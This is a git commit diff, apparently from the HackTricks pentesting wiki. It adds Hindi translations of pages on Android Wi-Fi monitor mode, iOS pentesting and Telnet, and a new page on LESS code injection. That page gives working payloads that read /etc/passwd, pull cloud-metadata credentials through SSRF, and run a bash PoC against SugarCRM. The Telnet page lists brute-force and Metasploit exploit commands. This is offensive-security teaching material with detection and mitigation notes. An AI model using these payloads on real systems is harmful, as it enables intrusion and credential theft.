Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:46:56 +00:00
parent b742b67338
commit 327dd14ef9
6 changed files with 107 additions and 25 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -9,7 +9,7 @@
* NexMon Magisk मॉड्यूल जिसमें पैच किया गया फर्मवेयर + `libnexmon.so`
* मॉनिटर-मोड टॉगलिंग को स्वचालित करने के लिए Hijacker Android एप्लिकेशन
* वैकल्पिक Kali NetHunter chroot क्लासिक वायरलेस टूल (aircrack-ng, wifite, mdk4 …) को सीधे आंतरिक इंटरफेस के खिलाफ चलाने के लिए
* वैकल्पिक Kali NetHunter chroot क्लासिक वायरलेस उपकरणों (aircrack-ng, wifite, mdk4 …) को सीधे आंतरिक इंटरफेस के खिलाफ चलाने के लिए
यह तकनीक किसी भी हैंडसेट पर लागू होती है जिसमें एक सार्वजनिक रूप से उपलब्ध NexMon पैच है (Pixel 1, Nexus 6P, Galaxy S7/S8, आदि)।
@ -22,8 +22,8 @@
* NexMon Magisk ZIP या स्वयं-निर्मित पैच प्रदान करना:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* (वैकल्पिक) Kali NetHunter या कोई भी Linux chroot जहां आप वायरलेस टूल चलाने का इरादा रखते हैं
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (वैकल्पिक) Kali NetHunter या कोई भी Linux chroot जहां आप वायरलेस उपकरण चलाने का इरादा रखते हैं
---
@ -51,7 +51,7 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2
Disable monitor mode:
nexutil -m0; svc wifi enable
```
“Start monitor mode on airodump start” को सक्षम करें ताकि हर Hijacker स्कैन स्वदेशी मॉनिटर मोड में हो (`wlan0` के बजाय `wlan0mon`)।
“Start monitor mode on airodump start” सक्षम करें ताकि हर Hijacker स्कैन स्वदेशी मॉनिटर मोड में हो (`wlan0` के बजाय `wlan0mon`)।
यदि Hijacker लॉन्च पर त्रुटियाँ दिखाता है, तो साझा स्टोरेज पर आवश्यक निर्देशिका बनाएं और ऐप को फिर से खोलें:
```bash
@ -61,7 +61,7 @@ mkdir -p /storage/emulated/0/Hijacker
* **`-s0x613`** फर्मवेयर वेरिएबल 0x613 (FCAP_FRAME_INJECTION) को लिखें → `1` (मनमाने फ़्रेम के TX को सक्षम करें)।
* **`-i`** इंटरफ़ेस को मॉनिटर मोड में डालें (रेडियोटैप हेडर जोड़ा जाएगा)।
* **`-v2`** विस्तृत स्तर सेट करें; `2` पुष्टि और फर्मवेयर संस्करण प्रिंट करता है।
* **`-m0`** प्रबंधित मोड को पुनर्स्थापित करें (जो *disable* कमांड में उपयोग किया जाता है)।
* **`-m0`** प्रबंधित मोड को पुनर्स्थापित करें (जो *अक्षम* कमांड में उपयोग किया जाता है)।
*Enable monitor mode* चलाने के बाद आपको इंटरफ़ेस को मॉनिटर स्थिति में देखना चाहिए और कच्चे फ़्रेम कैप्चर करने में सक्षम होना चाहिए:
```bash
@ -77,7 +77,7 @@ svc wifi disable && ifconfig wlan0 up && nexutil -s0x613 -i -v2
# Disable and return to normal Wi-Fi
nexutil -m0 && svc wifi enable
```
यदि आपको केवल पैसिव स्निफिंग की आवश्यकता है, तो `-s0x613` ध्वज को छोड़ दें।
यदि आपको केवल पैसिव स्निफिंग की आवश्यकता है, तो `-s0x613` ध्वज को छोड़ दें।
---
@ -104,9 +104,9 @@ wifite -i wlan0 # या aircrack-ng, mdk4 …
## संभावित सामान्य हमले
एक बार जब मॉनिटर + TX सक्रिय हो जाता है, तो आप कर सकते हैं:
* `wifite`, `hcxdumptool`, `airodump-ng` के साथ WPA(2/3-SAE) हैंडशेक या PMKID कैप्चर करें।
* क्लाइंट को फिर से कनेक्ट करने के लिए डिऑथेंटिकेशन / डिसएसोसिएशन फ़्रेम इंजेक्ट करें।
* `mdk4`, `aireplay-ng`, Scapy, आदि के साथ मनमाने प्रबंधन/डेटा फ्रेम बनाएं।
* फोन से सीधे रॉग AP बनाएं या KARMA/MANA हमले करें।
* क्लाइंट को फिर से कनेक्ट करने के लिए डिएक्टिवेशन / डिसएसोसिएशन फ्रेम इंजेक्ट करें।
* `mdk4`, `aireplay-ng`, Scapy, आदि के साथ मनमाने प्रबंधन/डेटा फ्रेम बनाएं।
* फोन से सीधे धोखाधड़ी AP बनाएं या KARMA/MANA हमले करें।
गैलेक्सी S10 पर प्रदर्शन बाहरी USB NICs के समान है (~20 dBm TX, 2-3 M pps RX)।
@ -115,7 +115,7 @@ wifite -i wlan0 # या aircrack-ng, mdk4 …
## समस्या निवारण
* `Device or resource busy` सुनिश्चित करें कि **Android Wi-Fi सेवा अक्षम है** (`svc wifi disable`) मॉनिटर मोड सक्षम करने से पहले।
* `nexutil: ioctl(PRIV_MAGIC) failed` पुस्तकालय प्रीलोड नहीं है; `LD_PRELOAD` पथ की दोबारा जांच करें।
* फ्रेम इंजेक्शन काम करता है लेकिन कोई पैकेट कैप्चर नहीं हुआ कुछ ROMs चैनलों को हार्ड-ब्लॉक करते हैं; `nexutil -c <channel>` या `iwconfig wlan0 channel <n>` आज़माएँ
* फ्रेम इंजेक्शन काम करता है लेकिन कोई पैकेट कैप्चर नहीं हुआ कुछ ROMs चैनलों को हार्ड-ब्लॉक करते हैं; `nexutil -c <channel>` या `iwconfig wlan0 channel <n>` आजमाएं
* SELinux पुस्तकालय को ब्लॉक कर रहा है डिवाइस को *Permissive* पर सेट करें या मॉड्यूल संदर्भ को ठीक करें: `chcon u:object_r:system_lib_file:s0 libnexmon.so`
---

View File

@ -1,10 +1,10 @@
# iOS Pentesting बिना Jailbreak के
# iOS Pentesting बिना Jailbreak
{{#include ../../banners/hacktricks-training.md}}
## मुख्य विचार
**entitlement `get_task_allow`** के साथ साइन की गई एप्लिकेशन तीसरे पक्ष की एप्लिकेशनों को **`task_for_pid()`** नामक एक फ़ंक्शन को प्रारंभिक एप्लिकेशन के प्रक्रिया आईडी के साथ तर्क के रूप में चलाने की अनुमति देती हैं ताकि उस पर कार्य पोर्ट प्राप्त किया जा सके (इसे नियंत्रित करने और इसकी मेमोरी तक पहुँचने में सक्षम होना)।
**entitlement `get_task_allow`** के साथ साइन की गई एप्लिकेशन तीसरे पक्ष की एप्लिकेशनों को **`task_for_pid()`** नामक एक फ़ंक्शन को प्रारंभिक एप्लिकेशन के प्रक्रिया ID के साथ तर्क के रूप में चलाने की अनुमति देती हैं ताकि उस पर कार्य पोर्ट प्राप्त किया जा सके (इसे नियंत्रित करने और इसकी मेमोरी तक पहुँचने में सक्षम होना)।
हालांकि, यह केवल IPA को खींचने, इसे entitlement के साथ फिर से साइन करने और इसे अपने डिवाइस पर फ्लैश करने जितना आसान नहीं है। इसका कारण FairPlay सुरक्षा है। जब ऐप का हस्ताक्षर बदलता है, तो DRM (Digital Rights Management) कुंजी **अमान्य हो जाती है और ऐप काम नहीं करेगा**
@ -48,11 +48,11 @@ ideviceinstaller -i no-min-version.ipa -w
### पैच अधिकार और फिर से साइन करें
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign``app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA को इंगित करना, **`get-taks-allow` डालना** और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल शामिल है।
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign``app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA, **`get-taks-allow`** डालना और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल शामिल है।
प्रमाणपत्र और साइनिंग प्रोफाइल के संबंध में, Apple सभी खातों के लिए Xcode के माध्यम से **मुफ्त डेवलपर साइनिंग प्रोफाइल** प्रदान करता है। बस एक ऐप बनाएं और एक कॉन्फ़िगर करें। फिर, `Settings``Privacy & Security` पर जाकर **iPhone को डेवलपर ऐप्स पर भरोसा करने के लिए कॉन्फ़िगर करें**, और `Developer Mode` पर क्लिक करें।
फिर से साइन की गई IPA के साथ, इसे डिवाइस में स्थापित करने का समय है ताकि इसे पेंटेस्ट किया जा सके:
फिर से साइन की गई IPA के साथ, इसे डिवाइस में स्थापित करने का समय है ताकि इसे pentest किया जा सके:
```bash
ideviceinstaller -i resigned.ipa -w
```
@ -60,7 +60,7 @@ ideviceinstaller -i resigned.ipa -w
### डेवलपर मोड सक्षम करें (iOS 16+)
iOS 16 से Apple ने **डेवलपर मोड** पेश किया: कोई भी बाइनरी जो `get_task_allow` ले जाती है *या* एक विकास प्रमाणपत्र के साथ हस्ताक्षरित है, वह तब तक लॉन्च करने से मना कर देगी जब तक कि डिवाइस पर डेवलपर मोड सक्षम नहीं किया गया है। आप Frida/LLDB को भी संलग्न नहीं कर पाएंगे जब तक कि यह ध्वज चालू न हो।
iOS 16 से Apple ने **डेवलपर मोड** पेश किया: कोई भी बाइनरी जो `get_task_allow` ले जाती है *या* एक विकास प्रमाणपत्र के साथ हस्ताक्षरित है, तब तक लॉन्च करने से मना कर देगी जब तक कि डिवाइस पर डेवलपर मोड सक्षम न हो। आप Frida/LLDB को भी संलग्न नहीं कर पाएंगे जब तक कि यह ध्वज चालू न हो।
1. फोन पर **कोई भी** डेवलपर-हस्ताक्षरित IPA स्थापित या पुश करें।
2. **सेटिंग्स → गोपनीयता और सुरक्षा → डेवलपर मोड** पर जाएं और इसे चालू करें।
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
### स्वचालित डायनामिक विश्लेषण MobSF के साथ (कोई जेलब्रेक नहीं)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) एक वास्तविक डिवाइस पर एक डेवलपर-साइन की गई IPA को उसी तकनीक (`get_task_allow`) का उपयोग करके इंस्ट्रूमेंट कर सकता है और एक वेब UI प्रदान करता है जिसमें ाइल सिस्टम ब्राउज़र, ट्रैफ़िक कैप्चर और Frida कंसोल शामिल हैं【†L2-L3】। सबसे तेज़ तरीका यह है कि MobSF को Docker में चलाएं और फिर अपने iPhone को USB के माध्यम से कनेक्ट करें:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) एक वास्तविक डिवाइस पर एक डेवलपर-साइन किया हुआ IPA को उसी तकनीक (`get_task_allow`) का उपयोग करके इंस्ट्रूमेंट कर सकता है और फाइल सिस्टम ब्राउज़र, ट्रैफ़िक कैप्चर और Frida कंसोल के साथ एक वेब UI प्रदान करता है【】। सबसे तेज़ तरीका यह है कि MobSF को Docker में चलाएं और फिर अपने iPhone को USB के माध्यम से कनेक्ट करें:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -106,7 +106,7 @@ MobSF स्वचालित रूप से बाइनरी को तै
### iOS 17 & लॉकडाउन मोड चेतावनियाँ
* **लॉकडाउन मोड** (सेटिंग्स → गोपनीयता और सुरक्षा) अस्वीकृत या बाहरी रूप से हस्ताक्षरित गतिशील पुस्तकालयों को लोड करने से गतिशील लिंक को रोकता है। उन उपकरणों का परीक्षण करते समय जिनमें यह मोड सक्षम हो सकता है, सुनिश्चित करें कि यह **अक्षम** है, अन्यथा आपके Frida/objection सत्र तुरंत समाप्त हो जाएंगे।
* पॉइंटर ऑथेंटिकेशन (PAC) A12+ उपकरणों पर प्रणाली-व्यापी लागू किया गया है। Frida ≥16 पारदर्शी रूप से PAC स्ट्रिपिंग को संभालता है बस सुनिश्चित करें कि *frida-server* और Python/CLI टूलचेन नवीनतम रहें जब एक नया प्रमुख iOS संस्करण जारी हो।
* पॉइंटर ऑथेंटिकेशन (PAC) A12+ उपकरणों पर प्रणाली-व्यापी लागू किया गया है। Frida ≥16 पारदर्शी रूप से PAC स्ट्रिपिंग को संभालता है - बस सुनिश्चित करें कि *frida-server* और Python/CLI टूलचेन नवीनतम रहें जब एक नया प्रमुख iOS संस्करण जारी हो।
## संदर्भ

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
The script `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जिन्हें स्वीकृत किया जाएगा और उपयोग किया जा सकता है "**DO, DON'T, WILL, WON'T**" संरचना के साथ ताकि उपयोगकर्ता और सर्वर एक अधिक जटिल (या शायद बस अलग) सेट के लिए सहमत हो सकें उनके TELNET कनेक्शन के लिए परंपराओं का। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जिन्हें स्वीकृत किया जाएगा और उपयोग किया जा सकता है "**DO, DON'T, WILL, WON'T**" संरचना के साथ ताकि उपयोगकर्ता और सर्वर एक अधिक जटिल (या शायद बस अलग) सेट के लिए सहमत हो सकें उनके TELNET कनेक्शन के लिए परंपराएँ। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
**मुझे पता है कि इन विकल्पों को सूचीबद्ध करना संभव है लेकिन मुझे नहीं पता कैसे, इसलिए मुझे बताएं कि क्या आप जानते हैं।**
@ -69,11 +69,11 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
### Recent Vulnerabilities (2022-2025)
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: अंतर्निहित Telnet सेवा ने हार्ड-कोडेड क्रेडेंशियल्स को स्वीकार किया और इनपुट को साफ करने में विफल रही, जिससे पोर्ट 23 पर तैयार किए गए कमांड के माध्यम से रूट के रूप में प्रमाणीकरण रहित दूरस्थ RCE की अनुमति मिली। फर्मवेयर ≥ 1.04B05 में ठीक किया गया।
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: अंतर्निहित Telnet सेवा ने हार्ड-कोडेड क्रेडेंशियल्स को स्वीकार किया और इनपुट को साफ करने में विफल रही, जिससे पोर्ट 23 पर तैयार किए गए कमांड के माध्यम से रूट के रूप में प्रमाणीकरण रहित दूरस्थ RCE की अनुमति मिली। फर्मवेयर ≥ 1.04B05 में ठीक किया गया।
* **CVE-2023-40478 NETGEAR RAX30**: Telnet CLI `passwd` कमांड में स्टैक-आधारित बफर ओवरफ्लो एक निकटवर्ती हमलावर को प्रमाणीकरण को बायपास करने और रूट के रूप में मनमाना कोड निष्पादित करने की अनुमति देता है।
* **CVE-2022-39028 GNU inetutils telnetd**: एक दो-बाइट अनुक्रम (`0xff 0xf7` / `0xff 0xf8`) एक NULL-पॉइंटर डेरिफरेंस को ट्रिगर करता है जो `telnetd` को क्रैश कर सकता है, कई क्रैश के बाद एक स्थायी DoS का परिणाम होता है।
कमजोरियों के वर्गीकरण के दौरान इन CVEs को ध्यान में रखें—यदि लक्ष्य एक अन-पैच किए गए फर्मवेयर या विरासती inetutils Telnet डेमॉन चला रहा है, तो आपके पास कोड-निष्पादन या एक विघटनकारी DoS के लिए एक सीधा रास्ता हो सकता है।
कमजोरियों के वर्गीकरण के दौरान इन CVEs को ध्यान में रखें—यदि लक्ष्य एक अन-पैच किया गया फर्मवेयर या पुराना inetutils Telnet डेमॉन चला रहा है तो आपके पास कोड-निष्पादन या एक विघटनकारी DoS के लिए एक सीधा रास्ता हो सकता है।
### Sniffing Credentials & Man-in-the-Middle
@ -98,7 +98,7 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
```
अधिकांश IoT बोटनेट (Mirai वेरिएंट) अभी भी छोटे डिफ़ॉल्ट-क्रेडेंशियल डिक्शनरी के साथ पोर्ट 23 को स्कैन करते हैं—इस तर्क को प्रतिबिंबित करना कमजोर उपकरणों की पहचान जल्दी कर सकता है।
अधिकांश IoT बोटनेट (Mirai वेरिएंट) अभी भी छोटे डिफ़ॉल्ट-क्रेडेंशियल डिक्शनरी के साथ पोर्ट 23 को स्कैन करते हैं—इस तर्क को दोहराने से कमजोर उपकरणों की पहचान जल्दी हो सकती है।
### शोषण और पोस्ट-शोषण
@ -107,7 +107,7 @@ Metasploit के पास कई उपयोगी मॉड्यूल ह
* `auxiliary/scanner/telnet/telnet_version` बैनर और विकल्प गणना।
* `auxiliary/scanner/telnet/brute_telnet` मल्टीथ्रेडेड ब्रूटफोर्स।
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` कमजोर Solaris 9/10 Telnet (विकल्प ENCRYPT हैंडलिंग) के खिलाफ RCE।
* `exploit/linux/mips/netgear_telnetenable` कई NETGEAR राउटर्स पर एक तैयार पैकेट के साथ टेलनेट सेवा सक्षम करता है।
* `exploit/linux/mips/netgear_telnetenable` कई NETGEAR राउटर्स पर एक निर्मित पैकेट के साथ टेलनेट सेवा सक्षम करता है।
एक शेल प्राप्त करने के बाद याद रखें कि **TTYs आमतौर पर बेवकूफ होते हैं**; `python -c 'import pty;pty.spawn("/bin/bash")'` के साथ अपग्रेड करें या [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md) का उपयोग करें।
@ -115,7 +115,7 @@ Metasploit के पास कई उपयोगी मॉड्यूल ह
1. SSH को प्राथमिकता दें और टेलनेट सेवा को पूरी तरह से बंद करें।
2. यदि टेलनेट आवश्यक है, तो इसे केवल प्रबंधन VLANs से बाइंड करें, ACLs को लागू करें और डेमन को TCP wrappers (`/etc/hosts.allow`) के साथ लपेटें।
3. परिवहन एन्क्रिप्शन जोड़ने के लिए पुराने `telnetd` कार्यान्वयनों को `ssl-telnet` या `telnetd-ssl` के साथ बदलें, लेकिन **यह केवल डेटा-इन-ट्रांजिट की सुरक्षा करता है—पासवर्ड-गेसिंग तुच्छ रहता है**।
3. परिवहन एन्क्रिप्शन जोड़ने के लिए पुराने `telnetd` कार्यान्वयनों को `ssl-telnet` या `telnetd-ssl` से बदलें, लेकिन **यह केवल डेटा-इन-ट्रांजिट की सुरक्षा करता है—पासवर्ड-गेसिंग सरल रहता है**।
4. पोर्ट 23 पर आउटबाउंड ट्रैफ़िक की निगरानी करें; समझौते अक्सर टेलनेट के माध्यम से रिवर्स शेल उत्पन्न करते हैं ताकि सख्त-HTTP ईग्रेस फ़िल्टर को बायपास किया जा सके।
## संदर्भ
@ -123,4 +123,4 @@ Metasploit के पास कई उपयोगी मॉड्यूल ह
* D-Link Advisory CVE-2024-45698 Critical Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS कोड इंजेक्शन जो SSRF और लोकल फ़ाइल पढ़ने की ओर ले जाता है
{{#include ../banners/hacktricks-training.md}}
## अवलोकन
LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो वेरिएबल, मिक्सिन, फ़ंक्शन और शक्तिशाली `@import` निर्देश को जोड़ता है। संकलन के दौरान LESS इंजन **`@import`** बयानों में संदर्भित संसाधनों को **फेच** करेगा और `(inline)` विकल्प का उपयोग करने पर उनके सामग्री को परिणामी CSS में एम्बेड ("इनलाइन") करेगा।
जब एक एप्लिकेशन **उपयोगकर्ता-नियंत्रित इनपुट** को एक स्ट्रिंग में जोड़ता है जिसे बाद में LESS कंपाइलर द्वारा पार्स किया जाता है, तो एक हमलावर **मनमाना LESS कोड इंजेक्ट** कर सकता है। `@import (inline)` का दुरुपयोग करके हमलावर सर्वर को पुनः प्राप्त करने के लिए मजबूर कर सकता है:
* `file://` प्रोटोकॉल के माध्यम से स्थानीय फ़ाइलें (जानकारी का खुलासा / लोकल फ़ाइल समावेशन)।
* आंतरिक नेटवर्क या क्लाउड मेटाडेटा सेवाओं पर दूरस्थ संसाधन (SSRF)।
यह तकनीक वास्तविक दुनिया के उत्पादों में देखी गई है जैसे **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` एंडपॉइंट)।
## शोषण
1. एक पैरामीटर की पहचान करें जो LESS इंजन द्वारा संसाधित स्टाइलशीट स्ट्रिंग के अंदर सीधे एम्बेड किया गया है (जैसे कि SugarCRM में `?lm=`)।
2. वर्तमान बयान को बंद करें और नए निर्देश इंजेक्ट करें। सबसे सामान्य प्राइमिटिव हैं:
* `;` पिछले घोषणा को समाप्त करता है।
* `}` पिछले ब्लॉक को बंद करता है (यदि आवश्यक हो)।
3. मनमाने संसाधनों को पढ़ने के लिए `@import (inline) '<URL>';` का उपयोग करें।
4. वैकल्पिक रूप से आयात के बाद एक **मार्कर** (`data:` URI) इंजेक्ट करें ताकि संकलित CSS से फेच की गई सामग्री को निकालना आसान हो सके।
### लोकल फ़ाइल पढ़ना
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
`/etc/passwd` की सामग्री HTTP प्रतिक्रिया में `@@END@@` मार्कर से ठीक पहले दिखाई देगी।
### SSRF क्लाउड मेटाडेटा
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### स्वचालित PoC (SugarCRM उदाहरण)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detection
* अस्वीकृत क्वेरी पैरामीटर वाले गतिशील रूप से उत्पन्न `.less` या `.css` प्रतिक्रियाओं की तलाश करें।
* कोड समीक्षा के दौरान, ऐसे निर्माणों की खोज करें जैसे `"@media all { .preview { ... ${userInput} ... } }"` जो LESS रेंडर फ़ंक्शंस को पास किए जाते हैं।
* शोषण के प्रयासों में अक्सर `@import`, `(inline)`, `file://`, `http://169.254.169.254`, आदि शामिल होते हैं।
## Mitigations
* LESS कंपाइलर को अस्वीकृत डेटा न दें।
* यदि गतिशील मान आवश्यक हैं, तो उन्हें सही तरीके से **escape**/sanitize करें (जैसे, संख्यात्मक टोकन, व्हाइटलिस्ट तक सीमित करें)।
* जब संभव हो, `(inline)` आयातों का उपयोग करने की क्षमता को अक्षम करें, या अनुमत प्रोटोकॉल को `https` तक सीमित करें।
* निर्भरताओं को अद्यतित रखें SugarCRM ने संस्करण 13.0.4 और 14.0.1 में इस समस्या को पैच किया।
## Real-World Cases
| Product | Vulnerable Endpoint | Impact |
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read |
## References
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,6 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
जांचें **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` इंजेक्शन `/rest/v10/css/preview` में अनधिकृत SSRF और स्थानीय फ़ाइल पढ़ने की अनुमति देता है।
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}